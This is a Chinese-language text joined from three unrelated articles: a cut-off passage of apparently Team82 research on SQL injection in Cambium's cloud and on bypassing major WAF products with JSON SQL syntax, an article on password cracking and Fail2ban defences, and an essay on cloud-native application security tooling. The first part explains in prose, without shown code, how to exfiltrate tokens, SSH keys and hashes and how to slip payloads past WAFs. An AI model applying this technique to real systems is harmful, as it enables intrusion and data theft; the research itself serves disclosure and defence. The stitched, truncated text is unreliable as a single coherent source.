正如我們在上面的匯點中看到的，應用程序接受用戶提供的數據（在本例中為a.serialNo或a.mac），並將其附加到SQL查詢中。我們使用此漏洞的目的是過濾存儲在數據庫中的敏感數據。然而，雖然這看起來很簡單，但在快速分析了該漏洞後，我們意識到它有三個關鍵漏洞/限制： Team82只能檢索作為返回行的整數； 返回的行按隨機順序返回； 在每個請求中，Team82只能返回有限數量的行。 讓我們深入分析這些限制。 限制1：Team82只能檢索整數第一個限制只返回整數，而不返回字符串。由於原始請求返回整數，我們將使用的任何联合語句也必須返回整數。在SQL中，如果執行聯合操作，則必須確保兩列的類型相同，並且由於一方獲取整數，因此我們也必須返回整數。由於我們要過濾的數據很可能是字符串（會話令牌、SSH密鑰等），因此我們必須以某種方式獲得過濾字符串的能力。 通過將想要過濾的任何字符串轉換為整數數組，並將每個字符作為單獨的行返回，可以輕鬆克服這一限制。為此，Team82使用了stringarray和ASCIISQL函數。 一個SQL查詢，返回字符串作為其字符的整數列表 限制2：返回的行按隨機順序返回第二個限制是，當Team82返回多行時，web服務器將以隨機順序返回給Team82。當Team82查看漏洞後執行的代碼時，Team82看到對於SQL查詢返回的每一行，服務器將執行一些其他異步操作(這可以通過調用async.parale函數看到)。這意味著返回行的原始順序將不會被保留，相反，該順序將是異步操作完成的順序。 這意味著，如果Team82將字符串作為整數數組進行過濾，就會丟失字符順序，從而使過濾變得無關緊要。 Team82通過添加行索引來克服這一限制，行索引使用row_number SQL函數將字符串中字符的索引轉換為返回的整數。因為Team82只返回ASCII字符，所以每個字符的值被限制為128。通過將索引號乘以1000 (i * 1000)並將其附加到結果中，Team82總是可以通過簡單的除法和模塊操作來確定字符索引。 一個SQL有效負載，返回字符串中每個字母的ascii值，加上字符的索引乘以1000 在檢索到過濾的數據之後，Team82可以簡單地將每個返回行除以1000，以了解字符索引。 Team82還可以通過對返回值使用模塊操作來恢復原始字符ASCII值。 限制3：在每個請求中只能返回有限數量的行最後一個限制是最難克服的：超時問題。對於返回的每一行，服務器都執行了一些其他操作，包括另一個SQL查詢和數據操作。當我們試圖檢索大量行時，請求超時。更糟糕的是，API端點相當慢，因此每次檢索一行非常耗時。 Team82的解決方案實際上非常高級，Team82不是為每個字符返回一行，而是從許多行中構造一個整數。這是可能的，因為整數和字符之間的字節大小不同。在PostgreSQL中，一個整數是4字節長，而Team82試圖過濾的字符是1字節長(只要是ascii字符)。這意味著通過執行簡單的字節操作，Team82可以在每個整數中容納四個不同的字符。此外，如果Team82在union命令中將整數轉換為BIGINT，這在PostgreSQL中是可能做到的，Team82可以將每行擴展為8字節。 PostgreSQL類型大小 這意味著，如果要為Team82過濾的每個字符附加8個字節，並將其附加到BIGINT中，Team82可以在每個請求中過濾7倍多的字符(1個字節保留給字符索引)。 一個SQL查詢，它接受一個字符串，並每隔幾個字符創建一個BIGINT 使用這種方法，Team82能夠在每個請求中提取多達8倍的數據。這減少了Team82竊取大量數據所需的時間，並使攻擊場景變得可信。 構建有效負載在Team82繞過所有三個限制之後，Team82就得到了一個大的有效負載，允許提取任何Team82選擇的數據: 事實上，當Team82使用這個有效負載時，Team82設法竊取了存儲在數據庫中的敏感信息，從會話cookie到令牌，SSH密鑰和哈希密碼。 使用SQLi有效負載提取的數據示例 雲端漏洞在成功利用了雲部署漏洞後，下一步是在Cambium的雲端嘗試相同的漏洞。很快，Team82就找到了相應的雲路由，並成功確認它也容易受到同樣的漏洞的攻擊。然後Team82嘗試了一個安全版本的有效負載，並收到了這樣的響應。 對SQL注入漏洞的響應，可以看到Team82的請求被釋放了，返回一個403 Forbidden 接下來，我們注意到了包含awselb/2.0的HTTP服務器，這意味著，應用程序並沒有停止Team82的請求，而是AWS WAF釋放了Team82的請求，因為它可能將其標記為惡意請求。 對AWS WAF的研究為了研究AWS WAF，我們首先創建了自己的設置，在其中控制所有的活動部件：應用程序、客戶端和WAF設置和日誌。我們在AWS雲上創建了一個簡單的設備，並設置了AWS WAF來保護應用程序免受惡意請求(Team82設置了WAF)。 用於配置WAF規則集的界面 然後，Team82創建了一個帶有SQLi漏洞的web應用程序，並將其託管在AWS上。 Team82創建的易受攻擊的Flask web應用程序 最後，Team82開始發送數百個自定義的請求，試圖分析WAF是如何將請求標記為惡意的。 被WAF標記為惡意的請求被阻止，在這個請求中，Team82傳遞一個通用的SQLi有效負載，它由WAF標記 WAF通常有兩種方法將請求標記為惡意： 搜索黑名單單詞：WAF可以搜索它並將其識別為SQL語法的單詞，如果請求中存在太多匹配項，它會將該請求標記為惡意SQLi嘗試。 從請求中解析SQL語法：WAF可以嘗試使用請求的不同部分解析有效的SQL語法，如果WAF成功識別SQL語法，它將標記該請求為惡意SQLi嘗試。 雖然大多數WAF除了使用WAF特有的方法外，還會使用這兩種方法的組合，但它們都有一個共同的漏洞：它們需要WAF識別SQL語法。這引發了Team82的興趣：如果Team82能夠找到WAF無法識別的SQL語法，該怎麼辦？ SQL JSON目前，JSON已經成為數據存儲和傳輸的主要形式之一。為了支持JSON語法，並允許開發人員以類似於在其他應用程序中與數據交互的方式與數據交互，SQL中需要JSON支持。 目前，所有主要的關係數據庫引擎都支持原生JSON語法，這包括MSSQL, PostgreSQL, SQLite和MySQL。此外，在最新版本中，所有數據庫引擎默認啟用JSON語法，這意味著它在今天的大多數數據庫設置中很普遍。 開發人員選擇在SQL數據庫中使用JSON特性，原因有很多，首先是更好的性能和效率。由於許多後端已經使用JSON數據，因此在SQL引擎本身執行所有數據操作和轉換可以減少所需的數據庫調用數量。此外，如果數據庫可以使用JSON數據格式(後端API很可能也會使用JSON數據格式)，那麼所需的數據預處理和後處理就會更少，從而允許應用程序立即使用它。 通過在SQL中使用JSON，應用程序可以在SQL API中獲取數據、從數據庫中組合多個數據源、執行數據修改並將其轉換為JSON格式。然後，應用程序可以接收json格式的數據並立即使用它，而不需要處理數據。 在SQL中使用JSON的數據流，允許開發人員在SQL中使用JSON API更好地與數據交互 雖然每個數據庫都選擇了不同的實現和JSON解析器，但每個數據庫都支持不同範圍的JSON函數和操作符。此外，它們都支持JSON數據類型和基本的JSON搜索和修改。 對每個主要數據庫的JSON支持級別 然而，儘管所有的數據庫引擎都增加了對JSON的支持，但並不是所有的安全工具都增加了對這個“新”特性的支持。安全工具中缺乏支持可能會導致安全工具(在Team82的例子中是WAF)和實際數據庫引擎之間的原語解析不匹配，並導致SQL語法錯誤識別。 The New ‘ or ‘a’=’a 使用JSON語法，可以創建新的SQLi有效負載。由於這些有效負載不為人所知，它們可以繞過許多安全工具。使用來自不同數據庫引擎的語法，Team82能夠在SQL中編譯以下真實語句列表: 使用JSON語法 從Team82對WAF如何將請求標記為惡意的理解中，可以得出結論，Team82需要找到WAF無法理解的SQL語法。如果Team82可以提供一個SQLi有效負載，WAF不會將其識別為有效SQL，但數據庫引擎會解析它，Team82實際上就可以實現繞過。 事實證明，JSON正是WAF解析器和數據庫引擎之間的這種不匹配。當Team82傳遞使用不太流行的JSON語法的有效SQL語句時，WAF實際上並沒有將請求標記為惡意請求。 下面是一個惡意的SQLi有效負載，包含JSON語法。正如Team82所看到的，WAF並沒有將該請求標記為惡意請求，也沒有釋放它 這個簡單的JSON運算符，在本例中是@，它檢查右邊的JSON是否包含在上面左邊的JSON中，它將WAF放入一個循環中，並允許Team82提供惡意的SQLi有效負載，從而允許Team82繞過WAF。通過簡單地在請求的開頭預先添加簡單的JSON語法，Team82就能夠在雲上使用SQLi漏洞竊取敏感信息! 利用雲上的SQL注入漏洞 常見的WAF繞過上述繞過的核心問題是數據庫引擎和SQLi檢測解決方案之間缺乏一致性，這是因為SQL中的JSON並不是一個流行和廣為人知的特性，而且它的語法沒有添加到WAF解析器中。 然而，Team82認為這個問題可能不僅僅與這個WAF供應商有關，可能其他供應商也沒有添加對JSON語法的支持。所以Team82採用了易受攻擊的web應用程序，並在大多數主要WAF供應商上創建了一個設置。幾天后，Team82發現JSON語法可以繞過他們檢查過的大多數供應商: Palo-Alto下一代防火牆 F5 Big-IP Amazon AWS ELB Cloudflare Imperva Team82使用JSON語法繞過的WAF供應商和產品列表 Team82成功地繞過了這麼多大型WAF產品，如果Team82的有效負載有任何變化，這意味著Team82有一個通用的WAF繞過。這意味著即使不知道Team82和目標之間的WAF是什麼，Team82仍然可以利用SQL注入漏洞，繞過WAF的保護。 自動化流程為了研究這種WAF繞過的危害有多大，Team82決定在最大的開源開

惡意行為者通常以用戶和管理員憑據為目標，因為他們希望使用它們來訪問敏感數據。據Verizon 稱，在2021 年受到社會工程攻擊的數據中，憑證佔高達85%。為了竊取用戶憑證，黑客可以使用惡意軟件或各種密碼破解方法。 薄弱的密碼策略和缺乏防止密碼破解的保護是導致帳戶洩露的兩個最常見的漏洞。 在本文中，我們討論了密碼破解的危險並提供了減少惡意身份驗證嘗試的最佳實踐。我們還探討了Fail2ban 服務如何幫助您保護對用戶帳戶的訪問，並提供有關如何配置Fail2ban 的分步指南，以及分享我們在Viber 聊天機器人中配置Fail2ban 通知的經驗。 本文將幫助Web 產品所有者和軟件開發團隊識別並消除其Linux 服務器的漏洞。 什麼是密碼破解？要訪問Web 應用程序，用戶需要在系統內創建配置文件。為此，用戶通常會創建一個登錄名和密碼作為用於保護帳戶訪問的憑據。根據申請類型，他們可能還必須提供其他數據，如個人信息、消息和銀行賬戶。所有這些數據對威脅行為者都很有價值，他們可以嘗試使用各種密碼竊取方法從不同的應用程序訪問用戶配置文件。 在開發Web 應用程序時，必須牢記密碼被盜的風險並實施強大的安全機制來減輕這些風險。否則，如果攻擊者設法訪問用戶帳戶並暴露個人信息，Web 應用程序提供商可能會面臨客戶流失和聲譽受損等後果。如果用戶決定將案件告上法庭，他們也可能承擔經濟損失。 密碼破解的後果 竊取用戶數據的一種方法是破解密碼。 這種方法的主要目標是猜測應用程序或計算機服務的密碼。該技術本身不一定是惡意的，它可以作為一種目標漏洞驗證技術用於安全測試。 密碼破解是從存儲在計算機系統中或通過網絡傳輸的密碼哈希中恢復密碼的過程。它通常在評估期間執行，以識別密碼較弱的帳戶。 在應用密碼破解技術時，黑客通常會使用特殊的應用程序和工具，這些應用程序和工具會應用多個憑據變體，直到找到正確的一對。密碼破解應用程序用於猜測密碼的每秒憑據數取決於攻擊者計算機的性能。此外，猜測用戶密碼所需的時間取決於密碼強度。 密碼破解方法有多種： 密碼破解攻擊的類型 字典攻擊是一種通過系統地輸入字典中的每個單詞作為密碼來訪問IT 資源的方法。黑客經常使用破解詞典，其中存儲了常用的密碼和熟悉的單詞，例如不同語言的名稱和地點。此類詞典還可能包括黑客收集和添加的先前被盜的用戶憑證。字典攻擊是一種快速猜測弱口令的方法，但對於不常見的強口令，它們通常不會成功。 蠻力攻擊是一種直接的試錯法，它著重於生成所有可能的密碼，達到一定長度。黑客檢查所有密碼組合，包括所有字母、數字和特殊符號的組合，從可能的最小密碼長度開始。可能組合的數量取決於密碼的長度。理論上，這種破解方法的成功率是100%。這只是時間問題，因為短密碼可以在幾分鐘內猜出，而非常長且複雜的密碼可能需要數十年才能破解。 彩虹襲擊。大多數應用程序使用哈希加密用戶密碼，並以加密形式存儲它們。黑客使用存儲預先計算的密碼哈希值的彩虹表來破解數據庫中的密碼哈希值。 網絡釣魚。通過網絡釣魚，攻擊者誘使用戶單擊電子郵件附件或URL 鏈接，引導他們登錄到虛假版本的Web 應用程序並洩露他們的密碼。 反向蠻力。惡意行為者使用針對多個用戶名的通用密碼來訪問帳戶。 憑據填充。如果黑客知道受感染帳戶的用戶名和密碼，他們可以嘗試在該用戶可能擁有帳戶的多個系統中使用此組合。據Security eMagazine報導，53% 的人承認對不同的帳戶使用相同的密碼。 希望攻擊者無法破解您的Web 應用程序用戶的密碼不是一種選擇。因此，讓我們探討如何保護用戶數據免遭密碼破解，並減輕帳戶洩露帶來的網絡安全風險。 保護Web 應用程序免遭密碼破解的7 種方法為保護您產品的用戶帳戶不被洩露，您需要實施綜合方法。下面，我們將討論緩解密碼破解的七種最必要的網絡安全實踐。 保護Web 應用程序免遭密碼破解的7 種方法 1. 出台嚴格的密碼管理政策密碼越複雜，黑客破解它們的難度就越大。確保您的開發人員配置您的應用程序的密碼規則，以防止用戶創建弱憑據。 創建密碼規則列表時，請考慮研究頂級技術組織推薦和使用的內容。例如，您可以查看NIST 特別出版物800-63-3 數字身份指南中的密碼策略建議，並了解Microsoft 365和IBM Security Privileged Identity Manager等可靠產品推薦的密碼安全性。 密碼策略的常見最佳做法包括： 密碼應包含特殊符號、數字以及大小寫字母。 最小密碼長度應為八個符號。越長越好。 密碼應在指定的時間段內到期並更改：每月一次、每三個月一次、每年兩次等。 您的應用程序應具有密碼歷史記錄，以便當用戶更改密碼時，它可以根據所有以前的密碼檢查新密碼。只有當新密碼實際上是新的時，才應批准新密碼。 2.更改管理帳戶名稱避免使用明顯的管理帳戶用戶名，例如“administrator”、“admin”或“root”。此類用戶名很可能成為威脅行為者發起密碼破解攻擊的首要目標。 3.啟用多重身份驗證使用多重身份驗證(MFA) 保護用戶對您的應用程序的訪問。此類身份驗證工具使用戶在登錄應用程序之前執行兩個或更多步驟。 第一步通常需要傳統的登錄名和密碼。在以下步驟中，可能會要求用戶從短信中輸入安全代碼、使用令牌、提供指紋等。 即使威脅行為者成功猜出憑據，MFA 也將成為訪問用戶帳戶的另一個障礙。 4.建立用戶活動監控考慮將用戶活動監控解決方案作為Web 應用程序安全性的一部分。此類解決方案收集有關您基礎設施內所有用戶活動的信息，因此如果出現可能是密碼破解攻擊跡象的異常用戶行為，您可以發現它。 用戶監控解決方案通常與人工智能驅動的訪問控制工具等複雜軟件一起使用，這些軟件可以分析收集到的用戶活動數據、檢測異常情況，並阻止可疑的登錄嘗試或通知安全工程師潛在威脅。 例如，此類解決方案可以保存設備詳細信息和用戶機器的IP 地址。如果有人試圖從不同的IP 地址或設備登錄，訪問控制工具可以應用其他MFA 方法或限制訪問。 5. 將對服務器的遠程訪問限制為受信任的IP您的管理員和工程師帳戶也可能遭受密碼破解攻擊。因此，請確保僅為受信任的IP 地址啟用對服務器的遠程訪問。 例如，您可以為需要在日常工作中訪問服務器的工程師提供IP 地址的訪問權限。為此，您可以使用防火牆（如果您使用雲提供商服務，則可以使用安全組）。 6.為工程師啟用安全密鑰需要遠程訪問服務器的工程師應該生成安全密鑰。例如，這些可以是用於SSH 訪問的SSH 密鑰。這樣，管理員可以安全地遠程連接到服務器或其他機器，而無需使用登錄名和密碼。 SSH 密鑰身份驗證可保護對服務器的訪問並加密客戶端和服務器之間傳輸的流量。 另一種無密碼訪問服務器的方法是使用硬件安全密鑰，如FIDO2或Google Titan。這些是可以用來代替常見身份驗證方法的USB 設備。 在這種情況下，應禁用使用登錄名和密碼訪問服務器。應該只允許鑰匙持有者進入。如果密碼不存在，則無法破解。 7.使用密碼破解保護服務最後但並非最不重要的一點是，有一些專門用於保護服務免遭密碼破解的工具。 通常，此類工具會自動掃描登錄嘗試並阻止顯示惡意跡象的IP 地址，例如密碼失敗次數過多。這些工具中最受歡迎的是： SSH衛士 IPBan Pro 間諜日誌 Fail2ban 在Apriorit，我們更喜歡使用Fail2ban，因為它使用起來很方便，並且可以有效地阻止潛在的惡意身份驗證嘗試。在下一章中，讓我們了解Fail2ban，並討論如何在實踐中配置和使用它。

採用CNAS需要對我們保護應用程序和基礎架構的方式進行重大改變。轉變是一個旅程，每個組織都不相同，甚至同一組織的不同部分也不同。 雖然選擇正確的道路是由你的決定，但為了讓它正確，模式和最佳實踐已經開始出現。在本文中，我提出了幾個可以考慮打破現狀的領域，以及如何打破現狀。 重新思考工具除了組織架構的改變，CNAS和“開發優先”還需要重新評估你的工具包。鑑於這種新視角，你應該重新考慮在技術解決方案中尋找的最重要特徵，以及你希望如何捆綁工具。 有很多方法可以重新評估工具，但我建議關註三個主要領域：開發工具採用、平台範圍和治理方法。 開發人員工具口徑如果我們的目標是讓開發人員在日常工作中能夠構建安全性，我們需要確保為他們提供針對該目標進行優化的工具。如果你購買專為審計人員設計的解決方案並要求開發人員使用它們，那麼你不太可能取得成功。 不出所料，開發人員習慣於使用開發人員慣用的工具。這些工具代表了整個行業，圍繞著什麼是優秀的開發者工具這一主題，已經在行業內發展了自己的最佳實踐。為了幫助你選擇開發人員將採用的安全解決方案，你應該根據開發者工具最佳實踐評估這些工具，並了解它們的表現如何。 以下是優秀的開發者工具的一些常見特徵： 成功的自助服務採用實際上，所有成功的開發工具都具有出色的自助服務用法，包括輕鬆的上手培訓、直觀的工作流程和出色的文檔。這是開發人員喜歡使用工具的方式，它迫使供應商確保他們的工具與開發人員相關，而無需銷售人員推動它。除非你想成為向開發人員推廣工具的銷售人員，否則請尋找具有開發人員自助服務採用的良好記錄的工具。 無縫集成到工作流程中在大多數情況下，開發工具經常與開發人員打交道，而不是要求他們再打開另一個工具。它們優雅地集成到其IDE、Git和研發管道中，並在正確的時間點提供價值。集成不僅僅是技術鉤子;他們需要適應工作流程和最佳實踐，否則將被拒絕採用。 豐富的API和自動化友好雖然需要固執己見的集成才能開始，但開發工具也必須是瑞士軍刀。豐富的API和自動化友好的客戶端（CLI/軟件開發工具包[SDK]）是強制性的，既可以將該工具調整到每個管道，又允許社區在其上進行構建。如果你不能在工具上構建，它就不是一個偉大的開發工具。 開源和社區採用開發人員希望其他開發人員來驗證工具的可信度，而開源採用是最好的指標。看到開源項目集成了安全工具或基於此構建的開源項目，這些都是很好的開發人員社區驗證。在檢查安全工具時，檢查它在開源中的採用情況並得出自己的結論。 這些只是眾多開發工具最佳實踐中的一小部分。如果你想了解更多關於開發優先安全性的特定安全建議，請繼續往下看。此外，在評估任何工具時，請確保讓實際的應用程序開發人員參與進來，以便從現實生活中了解它與周圍環境的契合程度（如下圖所示）。 開發人員友好的安全工具示例 平台範圍當前主流的AST平台主要關注自定義代碼，也許還有應用使用的開源庫。工具套件主要由SAST、DAST和IAST組成，最近又添加了SCA。當你擁抱更廣泛的雲原生應用程序範圍時，請重新考慮平台的構成。 首先，讓我們考慮一下哪些工具從成為單一平台的一部分中受益。它們可以分為下面幾個部分： 共享用戶：如果不同的工具是為不同的主要用戶設計的，那麼它們幾乎不需要成為單個平台的一部分，因為它們無論如何都會單獨使用。 共享工作流：如果以類似的方式使用多個工具並集成到用戶工作流的類似點中，則可以通過組合它們來節省集成時間以及用戶的時間和精力，而無需使用多個單獨的工具。 共享優先級：如果來自不同工具的行動項應彼此優先排序，則共享積壓工作可以提高效率和結果。 價值倍增：最後，工具共享平台的最強驅動力是當工具一起使用可以增強每個工具的價值。這個標準自然解釋了為什麼像SAST和SCA這樣的技術非常適合單一平台。兩者都為相同的開發人員用戶提供服務，運行掃描並在相同的位置吸引用戶，並共享同一開發人員需要優先考慮的安全漏洞的積壓。在高級SCA解決方案中，SAST技術可以指示你的自定義代碼是否調用庫中易受攻擊的代碼，從而提供更高的準確性，從而增加價值。 當你考慮將容器和IaC安全性添加到SAST和SCA的同一平台時，相同的邏輯也適用：共享用戶：容器和IaC現在由開發人員保護，就像SAST和SCA一樣，他們寧願沒有多個不同的產品需要花時間學習和參與。 共享工作流：保護容器和IaC需要跨生命週期的集成，例如IDE、Git和構建集成，就像SAST和SCA一樣。 共享優先級：同一個開發人員需要花費周期來修復容器或IaC漏洞，或者代碼或庫中的漏洞——所有這些都是保護應用的積壓工作。 價值倍增：保護這些組件有多種方式。掃描容器需要探索內部的應用程序，了解基礎設施配置有助於確定代碼和庫的漏洞優先級，了解跨組件的流程有助於緩解問題；這正是你在對漏洞進行分類時所做的。 即使CNAS範圍擴大，這種邏輯仍然有效，我鼓勵你將CNAS工具視為一個平台。一個簡單的準則是，Git存儲庫中的任何內容都可能與其周圍的文件相關，並遵循相同的開發工作流。因此，CNAS平台應有助於保護存儲庫中的所有內容（整個雲原生應用）。 DAST和IAST在這樣一個平台上是有點尷尬的參與者。儘管它們處理保護應用程序，但它們通常需要不同的工作流程。由於運行它們所花費的時間，很難將它們放入構建管道或IDE掃描中。在我看來，這是一個技術問題，而不是一個合乎邏輯的問題，一旦IAST和DAST解決方案發展到對管道更加友好，它有望得到解決。 治理和賦權方法採用開發優先的安全方法需要不同類型的協作。我們需要的工具不是專注於廣播和執行自上而下的任務，而是幫助我們協作構建安全應用程序的工具。 這聽起來可能很明顯，但在實踐中，這與許多安全工具的工作方式有很大的不同。讓我們深入研究一些具體的例子，以了解這意味著什麼。 首先，開發人員需要有能力平衡業務需求與安全風險。這意味著，例如，允許他們決定不修復發現的漏洞並繼續將其部署到生產環境。對某些人來說，這是一個可怕的命題，但這是實現獨立團隊的唯一方法。請注意，忽略漏洞仍應要求提供（且可審核）原因，並且某些約束應為硬槓槓（通常出於合規性原因），但作為默認立場，決策應留給開發人員。 其次，開發人員需要能夠管理他們的安全風險，這需要看到他們項目中的所有漏洞。這不僅需要包括漏洞列表，還需要包括確定優先級所需的所有信息，例如可利用性和資產映射。對此類信息保持透明可能會帶來一些風險，但這是擴展安全性的唯一方法；要賦予開發人員權力，你必須信任他們提供這些敏感數據。 第三，安全團隊應該投資於跟踪和推動安全控制的採用，甚至超過他們的產出。開發團隊應該管理其漏洞積壓工作，但安全團隊需要幫助他們成功做到這一點。開發優先安全治理意味著跟踪採用了哪些控件及其輸出的處理情況，並與開發團隊合作改進這些統計信息，而不是突出顯示他們應該修復的漏洞。 這些只是評估治理工具和技術時要考慮的幾個示例。關鍵是要擁抱平台心態；它的目標是幫助開發團隊成功構建安全軟件，而不是跟踪安全漏洞本身。 重新思考優先事項最後但並非最不重要的一點是，CNAS需要重新考慮應用程序安全優先級。如果開發人員需要保護整個雲原生應用程序，你希望他們最關注哪些方面？ 從歷史上看，IT安全控制主導了更大的預算，並且比應用程序安全控制獲得了更多CISO的關注。這種不平衡可能有歷史原因，但歸根結底，它代表了CISO關於如何最好地使用他們的資金來降低組織風險的觀點。 換句話說，CISO認為，由於未修補的服務器或配置錯誤的基礎架構而導致的違規風險大於代碼中的自定義漏洞的風險。這種看法有相當多的數據來支持它，顯示了歷史違規行為及其原因。此外，它很容易理解;對於攻擊者來說，大規模運行已知的漏洞並尋找一扇敞開的門要比對應用程序進行逆向工程並找到自定義缺陷以使其通過要容易得多。 云不會減少這個等式；事實上，雲加強了這個等式。採用雲意味著使用更多的基礎設施和更多的服務器，它們往往更容易公開訪問，並且它們由不太熟悉管理它們的團隊（開發人員）定義，並配備了不太成熟的工具。 然而，雖然以前的平衡是在IT安全預算和應用程序安全預算之間，但現在一切都在應用程序安全世界中。在構建雲原生應用程序時，相同的開發人員需要保護其自定義代碼，管理其開源使用中的漏洞，並使服務器和基礎架構具有彈性。同一個應用程序安全團隊需要幫助他們做到這一點，並在他們之間分配相同的預算。 因此，我們回到開場白：你希望如何分配寶貴的開發人員的時間和有限的CNAS預算？ 丟掉開發人員自己的設備和應用程序安全預算並讓開發人員的注意力集中在保護自定義代碼上。應用程序安全成熟度模型、行業最佳實踐以及團隊中個人的個人體驗都錨定在雲前的世界中，其中自定義代碼是開發人員必須保護的大部分內容。購買SAST和DAST等工具通常是應用程序安全新領導者名單上的第一件事，很少受到挑戰。 但是，考慮到CNAS的範圍，這仍然是你時間和金錢的最佳利用嗎？由於已知漏洞或配置錯誤而導致的違規風險仍然高於自定義代碼缺陷的風險，即使開發人員是配置它的人。如果你同意，難道不應該告訴你的開發人員和應用程序安全團隊首先要專注於保護這些層，然後才能處理他們的自定義代碼嗎？ 這不是一個容易回答的問題。我不會假設知道你的優先事項應該是什麼，因為這些優先事項會因組織而異。但是，鑑於CNAS的範圍更廣，我強烈建議你在內部進行此對話並重新考慮你的優先事項。 結論改變你處理應用程序安全性的方式不僅僅是一種思考練習。它具有非常真實的下游影響，包括人們的職業生涯，預算分配以及對保持組織安全的最佳方式的重新評估。它需要擺脫一些關於你過去如何做事的肌肉記憶，而不是在選擇解決方案時回到第一原則，這需要寶貴的時間和精力。 好消息是，你不必一次完成所有操作。我在本文中概述的變化相互關聯，但可以按照自己的節奏應用。我建議你選擇與你最相關的那些內容，或者選擇你認為更重要的其他變化，並讓這些變化繼續下去。你將逐步調整安全功能以適應云原生現實。